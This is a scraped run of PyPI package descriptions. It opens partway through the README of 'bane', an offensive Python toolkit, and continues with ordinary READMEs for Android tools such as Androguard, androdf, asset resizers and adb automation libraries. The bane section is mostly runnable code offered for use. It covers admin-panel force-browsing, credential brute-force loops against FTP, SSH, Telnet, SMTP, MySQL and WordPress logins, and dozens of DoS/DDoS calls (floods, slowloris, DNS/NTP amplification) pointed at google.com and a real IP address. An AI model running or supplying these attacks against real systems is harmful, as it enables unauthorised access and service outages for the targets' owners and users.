also known as Predictable Resource Location, File Enumeration, Directory Enumeration, and Resource Enumeration.admin panel:we can access and enumerate some or all internal admin panel pages using this method and takeover the panel!!!bane.forcebrowsing('http://example.com/admin/' , ext="php",timeout=10)orbane.forcebrowsing('http://example.com/admin/' , ext="asp")also you can use a function here to find the site's admin login panel:bane.adminpanel('http://example.com/admin/' , ext="php",timeout=7)the default extension is "php", you can change it as you like to: asp, aspxusing the parameter "ext".filemanager:we can bruteforce the path to a possible filemanager and takeover it using this technique:bane.filemanager('http://example.com')6-Slow DoS vulnerabilities:(useful link:https://www.cloudflare.com/learning/ddos/ddos-low-and-slow-attack/)high timeout value:bane.timeouttest('www.google.com',port=443)slow GET attack test:bane.slowgettest('www.google.com',port=80)slow POST attack test:bane.slowposttest('www.google.com',port=80)slow read attack test:bane.slowreadtest('www.google.com',port=80)connections per IP test:bane.connectionslimit('www.google.com',port=80)7-Bruteforce attacks:(useful link:https://www.acunetix.com/vulnerabilities/web/login-page-password-guessing-attack/)here we are doing a bruteforce attach against a target using a list of usernames and passwords, if the loin function returned True, then logins founds else it failed.FTP:wordlist=["admin:admin","admin:12345","root:root"]for x in wordlist:user=x.split(":")[0]pwd=x.split(":")[1]print'"[*]Trying:",user,pwdif bane.ftp("example.com",username=user,password=pwd)==True:print'[+]Found'breakelse:print'[-]Failed'SSH:here we have 2 different ways to logins to a ssh server:ssh1:(using pexpect module with "spawn" instead of "pexssh", which is more cleaver)wordlist=["admin:admin","admin:12345","root:root"]for x in wordlist:user=x.split(":")[0]pwd=x.split(":")[1]print'"[*]Trying:",user,pwdif bane.ssh1("example.com",username=user,password=pwd)==True:print'[+]Found'breakelse:print'[-]Failed'ssh2:(using paramiko module)wordlist=["admin:admin","admin:12345","root:root"]for x in wordlist:user=x.split(":")[0]pwd=x.split(":")[1]print'"[*]Trying:",user,pwdif bane.ssh2("example.com",username=user,password=pwd)==True:print'[+]Found'breakelse:print'[-]Failed'TELNET:here we have 2 different ways to logins to a telnet server:telnet1:(using pexpect module with "spawn" instead of "pexssh", which is more cleaver)wordlist=["admin:admin","admin:12345","root:root"]for x in wordlist:user=x.split(":")[0]pwd=x.split(":")[1]print'"[*]Trying:",user,pwdif bane.telnet1("example.com",username=user,password=pwd)==True:print'[+]Found'breakelse:print'[-]Failed'telnet2:(using telnetlib module)wordlist=["admin:admin","admin:12345","root:root"]for x in wordlist:user=x.split(":")[0]pwd=x.split(":")[1]print'"[*]Trying:",user,pwdif bane.telnet2("example.com",username=user,password=pwd)==True:print'[+]Found'breakelse:print'[-]Failed'SMTP:wordlist=["admin:admin","admin:12345","root:root"]for x in wordlist:user=x.split(":")[0]pwd=x.split(":")[1]print'"[*]Trying:",user,pwdif bane.smtp("example.com",username=user,password=pwd)==True:print'[+]Found'breakelse:print'[-]Failed'MYSQL:wordlist=["admin:admin","admin:12345","root:root"]for x in wordlist:user=x.split(":")[0]pwd=x.split(":")[1]print'"[*]Trying:",user,pwdif bane.mysql("example.com",username=user,password=pwd)==True:print'[+]Found'breakelse:print'[-]Failed'ADMIN LOGIN:wordlist=["admin:admin","admin:12345","root:root"]for x in wordlist:user=x.split(":")[0]pwd=x.split(":")[1]print'"[*]Trying:",user,pwdif bane.adminlogin("http://example.com/admin/login.php",{'username':user,'password':pwd)==True:print'[+]Found'breakelse:print'[-]Failed'WORDPRESS ADMIN LOGIN:wordlist=["admin:admin","admin:12345","root:root"]for x in wordlist:user=x.split(":")[0]pwd=x.split(":")[1]print'"[*]Trying:",user,pwdif bane.wpadmin("http://example.com/",username=user,password=pwd)==True:print'[+]Found'breakelse:print'[-]Failed'HYDRA TOOL:hydra is a famous tool that is widely used for bruteforce attacks. here is a python version of it in python based on the above functions.it takes the following parameters:proto:set by default to: "ssh", it can be set to: "ftp","ssh","telnet","smtp","mysql","wp" (to bruteforce WP sites on HTTP protocol)p: target port, set by default to: 22wl: the list contains usernames and passwords seperated by ":", ex: ["admin:admin","admin:12345","root:root"]wordlist=["admin:admin","admin:12345","root:root"]bane.hydra("127.0.0.1",proto="telnet",p=23,wl=wordlist)DoS / DDoS:(useful link:https://en.wikipedia.org/wiki/Denial-of-service_attack)bane.hulk('www.google.com',threads=1000) #hulk attackbane.proxhulk('www.google.com',threads=1000) #hulk attack with http proxiesbane.slowloris('www.google.com',p=80,threads=50) #slowloris attackbane.xerxes('www.google.com',p=443,threads=500) #xerxes attackbane.httpflood('www.google.com',p=80,threads=1000) #http floodbane.lulzer('www.google.com',p=80,threads=1000) #http flood with proxiesbane.tcpflood('www.google.com',threads=1000) #tcp floodbane.udp('50.63.33.34',p=80) #udp floodbane.doser('https://www.google.com',threads=500)bane.proxdoser('https://www.google.com',threads=500)bane.torshammer('www.google.com',p=80,threads=1000)bane.slowread('www.google.com',p=80,threads=1000)bane.apachekiller('www.google.com',p=80,threads=500)bane.goldeneye('www.google.com',p=80,threads=1000)bane.medusa('www.google.com',p=80,threads=1000)bane.icmp('50.63.33.34',p=80,threads=100)bane.synflood('50.63.33.34',p=80,threads=100)bane.icmpstorm('50.63.33.34',p=80,threads=100)bane.land('50.63.33.34',p=80,threads=100)bane.udpstorm('50.63.33.34',p=80,threads=100)bane.blacknurse('50.63.33.34',p=80,threads=100)bane.dnsamplif('50.63.33.34',p=80,dnslist=[your_dns_servers_list_here],threads=100)bane.ntpamplif('50.63.33.34',p=80,dnslist=[your_ntp_servers_list_here],threads=100)bane.snmpamplif('50.63.33.34',p=80,dnslist=[your_snmp_servers_list_here],threads=100)
|
androdf
|
Locates more items/views/elements on an Android device than similar Android automation packages by combining ADB's dumpsys activity/uiautomator$pipinstallandrodffromandrodfimportAndroDFandf=AndroDF(adb_path="C:\\Users\\Gamer\\AppData\\Local\\Android\\Sdk\\platform-tools\\adb.exe",deviceserial="localhost:5895",screenshotfolder="f:\\compare_android",# screenshots will be saved heremax_variation_percent_x=10,# used for one of the click functions, to not click exactly in the center - more information belowmax_variation_percent_y=10,# used for one of the click functions, to not click exactly in the centerloung_touch_delay=(1000,1500),# with this settings longtouch will take somewhere between 1 and 1,5 secondsswipe_variation_startx=10,# swipe coordinate variations in percentswipe_variation_endx=10,swipe_variation_starty=10,swipe_variation_endy=10,sdcard="/storage/emulated/0/",# sdcard will be used if you use the sendevent methods, don’t pass a symlink - more information belowtmp_folder_on_sd_card="AUTOMAT",# this folder will be created in the sdcard folder for using sendevent actionsbluestacks_divider=32767,# coordinates must be recalculated for BlueStacks https://stackoverflow.com/a/73733261/15096247 when using sendevent)andf.get_df_from_activity(with_screenshot=False)# executes dumpsys activity top -c and converts the relative coordinates to absolute coordinatesandf.get_df_from_view(with_screenshot=False)# dataframe from uiautomator xml dump, extracts all resultsdf_activities,df_uiautomator,df_merged=andf.get_all_results()# Returns copies of the 3 DataFrames containing the results # df_merged will be emptyandf.get_screenshot()andf.get_dfs_from_view_and_activity(with_screenshot=True)# DataFrame will contain screenshotsandf.get_dfs_from_view_and_activity(with_screenshot=True)# df_merged will contain all data from both DataFramesdf_activities1,df_uiautomator1,df_merged1=andf.get_all_results()Let’s compare the results with the ones fromhttps://github.com/dtmilano/AndroidViewClient(Uiautomator backend)Don't get me wrong, AndroidViewClient is a wonderful tool and I have been using it for a long time, but it works on BlueStacks (most important for me) only with the Uiautomator backend (at least on my PC), and unfortunately, it doesn't always identify all itemshttps://github.com/dtmilano/AndroidViewClient/issues/305. As far as I know, the more recent projecthttps://github.com/dtmilano/CulebraTester2-publicidentifies more views.Bluestacks start screenvcd=vc.dump(-1)times_=timest()forini,_inenumerate(vcd):outputfile=os.path.join(f"f:\\compare_android\\2\\{times_}",str(ini)+'.png')touch(outputfile)_.writeImageToFile(outputfile)Results AndroidViewClientdf_activities1.dropna(subset='aa_screenshot').ff_aa_save_screenshot.apply(lambdax:x())Results df_activities1df_uiautomator1.dropna(subset='bb_screenshot').ff_bb_save_screenshot.apply(lambdax:x())Results df_uiautomator1Bluestacks settingsResults AndroidViewClientResults df_activities1Results df_uiautomator1All results in DataFramesYou can use the whole power of pandas.DataFrame.lochttps://pandas.pydata.org/docs/reference/api/pandas.DataFrame.loc.htmlto locate any item and easily call touch/swipe/longtouch methods that are stored in different columns of the DataFrameThe DataFrame columns explaineddf_activities1.columns.to_list()Out[9]:['aa_area','aa_bounds','aa_center_x','aa_center_x_cropped','aa_center_y','aa_center_y_cropped','aa_class_name','aa_clickable','aa_complete_dump','aa_context_clickable','aa_cropped_x_end','aa_cropped_x_start','aa_cropped_y_end','aa_cropped_y_start','aa_depth','aa_drawn','aa_enabled','aa_focusable','aa_has_screenshot','aa_hashcode_hex','aa_hashcode_int','aa_height','aa_height_cropped','aa_id_information','aa_is_child','aa_long_clickable','aa_mID_hex','aa_mID_int','aa_old_index','aa_pflag_activated','aa_pflag_dirty_mask','aa_pflag_focused','aa_pflag_hovered','aa_pflag_invalidated','aa_pflag_is_root_namespace','aa_pflag_prepressed','aa_pflag_selected','aa_pure_id','aa_screenshot','aa_scrollbars_horizontal','aa_scrollbars_vertical','aa_shapely','aa_valid_square','aa_visibility','aa_width','aa_width_cropped','aa_x_end','aa_x_end_relative','aa_x_start','aa_x_start_relative','aa_y_end','aa_y_end_relative','aa_y_start','aa_y_start_relative','ee_aa_longtouch','ee_aa_longtouch_bs','ee_aa_longtouch_offset','ee_aa_longtouch_offset_bs','ee_aa_touch','ee_aa_touch_bs','ee_aa_touch_offset','ee_aa_touch_offset_bs','ff_aa_downswipe','ff_aa_save_screenshot','ff_aa_show_screenshot','ff_aa_tap_center_offset','ff_aa_tap_center_offset_long','ff_aa_tap_center_variation','ff_aa_tap_center_variation_long','ff_aa_tap_exact_center','ff_aa_tap_exact_center_long','ff_aa_upswipe','ff_show_parents','parent_000','parent_001','parent_002','parent_003','parent_004','parent_005','parent_006','parent_007','parent_008','parent_009','parent_010','parent_011']df_uiautomator1.columns.to_list()Out[10]:['bb_area','bb_center_x','bb_center_y','bb_x_end','bb_y_end','bb_height','bb_x_start','bb_y_start','bb_width','bb_bounds','bb_checkable','bb_checked','bb_class','bb_clickable','bb_content_desc','bb_enabled','bb_focusable','bb_focused','bb_index','bb_keys_hierarchy','bb_long_clickable','bb_package','bb_password','bb_resource_id','bb_scrollable','bb_selected','bb_text','bb_pure_id','bb_screenshot','bb_old_index','bb_valid_square','bb_shapely','bb_cropped_x_start','bb_cropped_y_start','bb_cropped_x_end','bb_cropped_y_end','bb_width_cropped','bb_height_cropped','bb_center_x_cropped','bb_center_y_cropped','ff_bb_show_screenshot','ff_bb_save_screenshot','ff_bb_tap_center_offset','ff_bb_tap_exact_center','ff_bb_tap_center_variation','ff_bb_tap_center_offset_long','ff_bb_tap_exact_center_long','ff_bb_tap_center_variation_long','ff_bb_upswipe','ff_bb_downswipe','ee_bb_longtouch_offset','ee_bb_longtouch_offset_bs','ee_bb_touch_offset','ee_bb_touch_offset_bs','ee_bb_longtouch_bs','ee_bb_touch_bs','ee_bb_touch','ee_bb_longtouch']The columns starting with aa_ or bb_ are self explaining, they contain data (height, width ...) to identify objectsThe column prefix ee_ means that you can call functions which use sendevent (root access necessary)aa_ after ee_ stands for activity DataFramebb_ after ee_ stands for uiautomator DataFrame (name difference (aa_/bb_) important for merging when calling andf.get_dfs_from_view_and_activity()the suffix _bs is only interesting for you if you use BlueStacks (like me)df_activities1.ee_aa_longtouch.iloc[28]()# longtouch on item 28df_activities1.ee_aa_longtouch_bs.iloc[28]()# recalculated for bluestacks, won’t work against a “regular” Android Device https://stackoverflow.com/a/73733261/15096247df_activities1.ee_aa_longtouch_offset_bs.iloc[28](200,1)# x,y offsetdf_activities1.ee_aa_longtouch_offset_bs.iloc[28](200,1)# x,y offset / recalculated for bluestacksdf_activities1.ee_aa_touch_offset.iloc[28](100,1)# x,y offsetdf_activities1.ee_aa_touch_offset_bs.iloc[28](100,1)# x,y offset / recalculated for bluestacksdf_activities1.ee_aa_touch.iloc[28]()df_activities1.ee_aa_touch_bs.iloc[28]()# recalculated for bluestacksThe column prefix ff_ means that the action is executed using adb shell input (root access not necessary)# swipes down (or up, depending on your interpretation) within the bounds of the itemdf_activities1.ff_aa_downswipe.iloc[28]()# swipes up (or down, depending on your interpretation) within the bounds of the itemdf_activities1.ff_aa_upswipe.iloc[28]()# save all screenshots to the defined folder (when you created the instance), subfolder with timestamp as name will be created for each new DataFramedf_activities1.dropna(subset='aa_screenshot').ff_aa_save_screenshot.apply(lambdax:x())#show screenshot with cv2.imshow, window can be closed by pressing 'q'df_activities1.ff_aa_show_screenshot.iloc[28]()df_activities1.ff_aa_tap_center_offset.iloc[28](1,20)# offset from the center of the found item - touchdf_activities1.ff_aa_tap_center_offset_long.iloc[28](1,20)# offset from the center of the found item - longtouchdf_activities1.ff_aa_tap_center_variation.iloc[28]()df_activities1.ff_aa_tap_center_variation_long.iloc[28]()df_activities1.ff_aa_tap_exact_center.iloc[28]()df_activities1.ff_aa_tap_exact_center_long.iloc[28]()df_activities1.ff_show_parents.iloc[28]()# Returns a DataFrame with all parent items
|
androguard
|
AndroguardInstallationQuick installation:pip install androguard[!IMPORTANT]
Versions >= 4.0.0 are new releases after a long time, where the project has substantial differences from the previous stable version 3.3.5 from 2019. This means that certain functionalities have been removed. If you notice an issue with your project using tha latest version, please open up anissue.DocumentationDocumentation contains outdated information - In progress of updatingThewikipage is the most recently updated source.Additional documentation that contains outdated information is available atReadTheDocs.FeaturesAndroguard is a full python tool to play with Android files.DEX, ODEXAPKAndroid's binary xmlAndroid resourcesDisassemble DEX/ODEX bytecodesBasic Decompiler for DEX/ODEX filesFrida support for easy dynamic analysisSQLite database to save the sessionAuthors: Androguard TeamAndroguard + tools: Anthony Desnos (desnos at t0t0.fr).DAD (DAD is A Decompiler): Geoffroy Gueguen (geoffroy dot gueguen at gmail dot com)Projects using AndroguardIn alphabetical orderAndroPyToolAppKnoxCuckoo SandboxDeckardDroidbotDroidstatxεxodusF-Droid ServergplaycliKoodousMobSFqiewQuark-EngineViper Framework... and many more!You are using Androguard and are not listed here? Just create aticketor send us apull requestwith your project!LicensesAndroguardCopyright (C) 2012 - 2023, Anthony Desnos (desnos at t0t0.fr)
All rights reserved.Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License athttp://www.apache.org/licenses/LICENSE-2.0Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS-IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.DADCopyright (C) 2012 - 2016, Geoffroy Gueguen (geoffroy dot gueguen at gmail dot com)
All rights reserved.Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License athttp://www.apache.org/licenses/LICENSE-2.0Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS-IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
|
androguard-en
|
Androguard is a tool and python library to interact with Android Files.Usually they come in the form of Android Packages (APK) or Dalvik Executeable (DEX) files.
Androguard has tools to read Android’s binary format for XML files (AXML) and is also suited with a decompiler for DEX.Androguard might not only be used as a tool for reverse engineering single applications, but features a lot of functions
for automated analysis. It provides a pure python framework to build your own analysis tools.If you encounter bugs while using androguard, please feel free to report them in ourbugtracker.
|
androguard-p
|
AndroguardInstallationPlease see thewiki... let's start reversing!FeaturesAndroguard is a full python tool to play with Android files.DEX, ODEXAPKAndroid's binary xmlAndroid resourcesDisassemble DEX/ODEX bytecodesBasic Decompiler for DEX/ODEX filesFrida support for easy dynamic analysisSQLite database to save the sessionAuthors: Androguard TeamAndroguard + tools: Anthony Desnos (desnos at t0t0.fr).DAD (DAD is A Decompiler): Geoffroy Gueguen (geoffroy dot gueguen at gmail dot com)DocumentationFind the documentation for master onReadTheDocs.There are some (probably broken/outdated) examples and demos in the foldersdemosandexamples.Projects using AndroguardIn alphabetical orderAndroPyToolAppKnoxCuckoo SandboxDeckardDroidbotDroidstatxεxodusF-Droid ServergplaycliKoodousMobSFqiewQuark-EngineViper Framework... and many more!You are using Androguard and are not listed here? Just create aticketor send us apull requestwith your project!LicensesAndroguardCopyright (C) 2012 - 2023, Anthony Desnos (desnos at t0t0.fr)
All rights reserved.Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License athttp://www.apache.org/licenses/LICENSE-2.0Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS-IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.DADCopyright (C) 2012 - 2016, Geoffroy Gueguen (geoffroy dot gueguen at gmail dot com)
All rights reserved.Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License athttp://www.apache.org/licenses/LICENSE-2.0Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS-IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
|
android2po
|
No description available on PyPI.
|
androidact
|
No description available on PyPI.
|
android-arsenal-notifier
|
No description available on PyPI.
|
android-asset-generator
|
android-asset-generatorDescriptionandroid-assset-generator is a command line program for generate ldpi, mdpi, hdpi, xhdpi, xxhdpi and xxxhdpi density images for your Android Studio Project.What's new on v1.0.6?Now you can use relative paths.Requerimentspython-resize-imageView packageInstallingpip install android-asset-generatorUsagePrepare a folder that contains only the images you want to convert to the different densities or may be a single image file.Run the following command.android-asset-generator path densityArgumentDescriptionValid ValuespathFull or relative path string of your asset folder or asset file (png or jpg). Set "this" if your console current workspace is the asset folder. If your path contains spaces, use quotation marks ( " ). Example: "C:\Users\MyUser\Pictures\Camera Roll\pp.jpg"C:\Users\MyUser\Desktop\img or C:\Users\MyUser\Desktop\img\image1.png or src/asset/image1.pngdensityThe source density. If your images are mdpi, set mdpi as argumentldpi, mdpi, hdpi, xhdpi, xxhdpi or xxxhdpiNote:Preferably do not change the order of the arguments.The generated images will be saved in different folders within the specified path following the Android Studio standard:
drawable-ldpi
drawable-mdpi
drawable-hdpi
drawable-xhdpi
drawable-xxhdpi
drawable-xxxhdpiThe source images will be moved to the corresponding folder without having suffered alterations.The last step is to import the generated folders to your Android Studio. projectExamplesandroid-asset-generator C:\Users\MyUser\Desktop\img xhdpiThe asset folder path is C:\Users\MyUser\Desktop\img and asset density is xhdpiandroid-asset-generator "C:\Users\MyUser\Pictures\Camera Roll\pp.jpg" xhdpiThe file path contains spaces in between, so quotes are used to make it a single stringandroid-asset-generator thisThe asset folder path is the console current directory and asset density is hdpi by defaultandroid-asset-generator img/photo.pngThe asset folder path is a relative path starting at the current console working directory.CompatibilityOperating SystemTest ResultsWindows 10PassedMacOSTestingLinuxTestingYour test results are welcome!RepositoriesGitHubandroid-asset-generatorPyPIandroid-asset-generatorYou are welcome if you want to colaborate!LicenceThe project is licensed under the MIT License
|
android-asset-resizer
|
The Android asset resizer can be used to generate drawable assets from a larger
source image, like an iOS@2xasset or anxhdpidrawable.The script will generate the expectedmdpi,hdpi,xhdpiandxxhdpiassets from the source image.If you like this library and it’s saved you some time, please consider
supporting further development with aGittip donation!RequirementspillowInstalling$ pip install android-asset-resizerIf you’d like to use the pillow imaging library instead of PIL you can install
the script with this command:$ pip install --no-deps android-asset-resizer && pip install pillowExamplesYou can easily generate Android assets from your@2xiOS assets:$ aaresize assets/[email protected] this command will generate the following assets:- res
- drawable-mdpi
- icon.png
- drawable-hdpi
- icon.png
- drawable-xhdpi
- icon.png
- drawable-xxhdpi
- icon.pngThese assets were created from the original@2xasset where the icon in
thedrawable-xhdpifolder is just a copy of the original.You can also resize an entire directory of images:$ aaresize assets/*@2x.pngAn Androidxhdpiasset is roughly equivalent to an@2xasset, so you
can easily resize those too:$ aaresize res/drawable-xhdpi/*.pngIf you have a largedrawable-xxhdpiasset you can use the--densityflag to generate the smaller assets:$ aaresize res/drawable-xxhdpi/*.png --density=xxhdpiYou can also easily add a prefix to your new assets:$ aaresize assets/*@2x.png --prefix=ic_Use the--ldpiflag to generate low density assets:$ aaresize res/drawable-xhdpi/*.png --ldpiUse the--excludeflag to specify a list of files that should not be
resized:$ aaresize res/drawable-xhdpi/*.png --exclude=ic_launcher.png,ic_status.pngYou can also import theAssetResizerclass and incorporate it into your
own scripts:from PIL import Image
from android_asset_resizer.resizer import AssetResizer
# Create our resizer
resizer = AssetResizer(out_dir, source_density='xhdpi',
prefix='ic_', image_filter=Image.ANTIALIAS)
# Make our resource directories
resizer.mkres()
# Resize an image
resizer.resize(path)Bug reportsIf you encounter any issues, please open a new issue on the project’sGitHub page.LicenseCopyright 2013 Tristan Waddington
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
|
android-auto-play-opencv
|
android-auto-play-opencvOpenCV の画像認識を使って、Android を自動操作するライブラリです。Android を操作する時にAndroid Debug Bridge (adb)を使うので、マウスカーソルが奪われません。NoxPlayer を操作することも出来ます。Readmehttps://noitalog.tokyo/android-auto-play-opencv/Installationライブラリのインストールpip install android-auto-play-opencvこのライブラリを使うには、Android SDK Platform-Toolsに含まれるadb.exeが必要です。How to use# This Python file uses the following encoding: utf-8# pip install android-auto-play-opencvimportandroid_auto_play_opencvasamadbpath='..\\platform-tools\\'defmain():aapo=am.AapoManager(adbpath)whileTrue:# 画面キャプチャaapo.screencap()# 早送りボタンは常にタップifaapo.touchImg('./umamusume/hayaokuri.png'):# タップ出来たら待機aapo.sleep(1)# Google Playダイアログが出たら、キャンセルの位置をタップelifaapo.chkImg('./umamusume/google-play.png'):aapo.touchPos(135,630)aapo.sleep(1)if__name__=='__main__':main()完成品ウマ娘自動リセマラ周回Referencestartアプリを起動する。# FGOを起動する.aapo.start('com.aniplex.fategrandorder/jp.delightworks.Fgo.player.AndroidPlugin')endアプリを終了する。# FGOを終了する.aapo.end('com.aniplex.fategrandorder')sleep処理を待機させる。# 5秒待機.aapo.sleep(5)screencapAndroid の画面をキャプチャする。# 画面キャプチャaapo.screencap()chkImgscreencapで取得したスクリーンショットに、テンプレート画像があるか確認します。タップはしません。ifaapo.chkImg('./template/stage_clear.png'):# あった時の処理.passchkImg2screencapで取得したスクリーンショットに、テンプレート画像があるか確認します。タップはしません。見つけた座標も返してくれます。# 古龍の心臓 が見つかったら位置を戻す。result,x,y=aapo.chkImg2('./template/koryunosinzo.png')print('result='+str(result)+', x='+str(x)+', y='+str(y))ifresult:# 見つかった位置から指定ピクセルズラしてロングタップ(5秒)aapo.longTouchPos(x+50,y+50,5000)touchImgscreencapで取得したスクリーンショットに、テンプレート画像があればタップします。タップ結果を返してくれます。aapo.touchImg('./template/stage_clear.png')touchPos指定位置をタップします。# X=750、Y=400 の位置をタップする.aapo.touchPos(750,400)第3引数を指定すると、ロングタップします。# X=750、Y=400 の位置を5秒間タップする.aapo.longTouchPos(750,400,5000)swipeTouchPos指定位置をスワイプします。# X=750、Y=800 から、X=750、Y=400 まで、1秒かけてスワイプする.aapo.swipeTouchPos(750,800,750,400,1000)inputtext文字を入力します。# abc を入力する.aapo.inputtext('abc')inputkeyeventHOMEキーやバックキーを送ります。# ホームキーを押す.aapo.inputkeyevent(3)# バックキーを押す.aapo.inputkeyevent(4)inputkeyeventscreencapで取得したスクリーンショットを保存します。# キャプチャ画像を保存aapo.imgSave('screenshot.png')# 現在の日時でキャプチャ画像を保存aapo.imgSave('img/screenshot_'+datetime.datetime.now().strftime('%Y%m%d%H%M%S')+'.png')# ↑をする場合「import datetime」をファイルの先頭に書くこと。デバイス選択複数の端末で同時実行できます。importinquirer# pip install inquireraapo=am.AapoManager('C:\\Program Files\\Nox\\bin\\')devicesselect=[inquirer.List("device",message="デバイスを選択して下さい。",choices=aapo.adbl.devices)]selected=inquirer.prompt(devicesselect)aapo.adbl.setdevice(selected['device'])aapo.screencap()
|
androidautotest
|
AndroidTestThe package is for android auto test, based on Python enviroment.Basic thought is using ADB (Android Debug Bridge) to send command to Android test Phone connected with the PC and match picture by match template algorithm in opencv-python.Requirement1.ADB (Android Debug Bridge)2.ASM (Android Screen Monitor)Use to capture partial picture, and you need to install JDK in your computer before running it.Then adjust zoom to 50%, you can also set zoom to other size, but need to add some code in your case source file after your create your case file:# adjust asm zoom to other size, 25%ASM.ZOOM_SIZE=253.Tesseract (Tesseract-OCR)If you want to use the mechod 'image_to_string' in the 'androidautotest.api' which can recognize text in pictures, you need to install Tesseract and install testdata necessary like chinese 'chi_sim'.Installation & Usage1.Install androidautotestpipinstallandroidautotestFollow information indicate you have installed androidautotest successfully.>python-mandroidautotest
usage:androidautotest--installdepandroidautotest--startasmandroidautotest--newcase<NEWCASE>--savedir<SAVEDIR>androidautotest--casedir<CASEDIR>--device<DEVICE>--times<TIMES>
Aframeworktoruntestcaseforandroidautomatedtestoptionalarguments:-V,--versionPrintversionandexit-h,--helpPrintthishelpmessageandexitinstalldependency:--installdepinstalldependencyofandroidautotest
startasm:--startasmstartAndroidScreenMonitor
createcase:--newcase<NEWCASE>Newcasenametocreate--savedir<SAVEDIR>Pathtosavenewcaseruncase:--casedir<CASEDIR>Casepathtorun--device<DEVICE>Devicetoswitch--times<TIMES>Timesofcaserunning2.install requirementspython-mandroidautotest--installdep3.start Android Screen Monitor(First, connect your Android Phone with PC, and open adb debug mode), then run follow command:python-mandroidautotest--startasm4.create a new case to start your test task with Android Phone(For example: to create a new case named 'case001').python-mandroidautotest--newcasecase001--savedirE:\AndroidTest\workspaceDocumentationYou can find the complete AndroidTest API documentation onreadthedocs.Examples# -*- coding: UTF-8 -*-fromandroidautotest.apiimport*# to homekeyevent(HOME)keyevent(HOME,device='HMKNW17421063974')# to FileBrowserwhilenotexists(Template(r'pic\20191215121636.png')):flick((400,400),DIR_LEFT,step=2)touch(Template(r'pic\20191215121636.png'))touch(Template(r'pic\20191215134814.png'))# not in top screen of FileBrowserifexists(Template(r'pic\20191215143440.png')):touch(Template(r'pic\20191215142057.png'))text('15045120')else:touch([530,142])text('15045120')# 15045120 is in screenassert_exists(Template(r'pic\20191215142425.png'))end()Once you finish your code writing, you can run your case.
1.If you connect one Android Phone with your PC, and run for once time, simple wirte as followingpython-mandroidautotest--casedirE:\AndroidTest\workspace\case001.air--deviceHMKNW17421063974--times52.If you connect more than one Android Phone with your PC, run case with Android Phone which's serial number is 'HMKNW17421063974' for 5 times, you can write as following.python-mandroidautotest--casedirE:\AndroidTest\workspace\case001.air--deviceHMKNW17421063974--times5And there are three log files you can use to analyze your test plan after run your case.In case001.air\log\case001.log.XXXFile NameDescriptionlog_case001_XXX.txtall log outputserial_log_case001_XXX.txtadb log outputreport_case001_XXX.htmlreport of case run
|
android_backup
|
No description available on PyPI.
|
android-benchmark-views
|
XXX
|
android-bp
|
android-bpA python module to parse Android.bp files (wrapper for android_bp rust module)Non-GoalsThis module is only intended to parse Android.bp files, not to generate or rewrite them.Usagefromandroid_bpimportBlueprint# bp is a rust object, but behave mostly like a read only python objectbp=Blueprint.from_file("Android.bp")# for debug, you can print any of internal objects# they will be printed as rust would in debug fmtprint(bp)# internal variables are accessible as a python dictprint(bp.variables)# modules are accessible as a python listforminbp.modules:ifm.__type__=="rust_binary":# module properties can be accessed directly as python attributesprint(m.name)# or iter them by typeforminbp.modules_by_type("rust_host_test"):# or via __dict__print(m.__dict__["name"])# for convenience, unknown properties return None (not an AttributeError)print(m.unknown_attribute)# prints None# map properties are accessible as python dictsprint(m.test_options['unit_test'])print()
|
android-category
|
android_categoryTool to retrieve the category of an app given a url to the source code (git/local).Installpip install android-categoryUsageAs a libraryfrom android_category import android_category
repo = "https://github.com/ccrama/Slide/"
category = android_category.get_app_category_from_repo_git()
print(category)Should output:NEWS_AND_MAGAZINESCLIWe can also run the tool in the command line:android_category https://github.com/ccrama/Slide/Should output:NEWS_AND_MAGAZINESGet more options by running:android_category --help
|
android_cog
|
UNKNOWN
|
android-control
|
No description available on PyPI.
|
android-controller
|
android-controllerA python module to control your android phoneInstallationPrerequisitesPipadbinstalled andadded to PATHUsing PyPi (recommended)Open a command prompt and run:pip install android_controllerFrom sourceOpen a command promp and clone this repo. Now cd to that folder and run:pip install .UsageThe package can be imported using:importandroid_controllerMost of the times devices connect to adb automatically, but if they don't you can use:android_controller.connect(host)#host is where your device is connected to. For example, bluestacks would be localhost:5555You can then check which devices are connected using:connections=android_controller.checkConnections()This will return a list with the names of all connected devices.
Please make sure you only have one device connected, otherwise the module might not work properly.DistributingAll distributions are welcome. There are quite some functions that are less commonly used I left out, but they can of course still be added.LicenseThis project is licensed under the MIT license.
|
android-debian-builder
|
This tool usesMultistrapto bootstrap a Debian (or Debian-based) system into
an image file as well as adding an Android-targeted launcher script to chroot
into the system.InstallationRequirements on the host system:Python3.3 or upJinja2.7 or upMultistrapbecause of Multistrap: aDebian(or Debian-based) systemRequirements on the target device:root accessBusybox (this might be pre-installed on your system or you could use one of
the various installers on the Play Store)a kernel that supports loop mounts and whatever file system you wish to useInstallation withpip:# pip3 install android-debian-builderInstallation from the source tarball:# python3 setup.py installUsageSimply runningandroid-debian-builder(as root) will start building a Debian
image in the current directory. To see possible command line options, runandroid-debian-builder--help. Usually, you’ll want to customise the
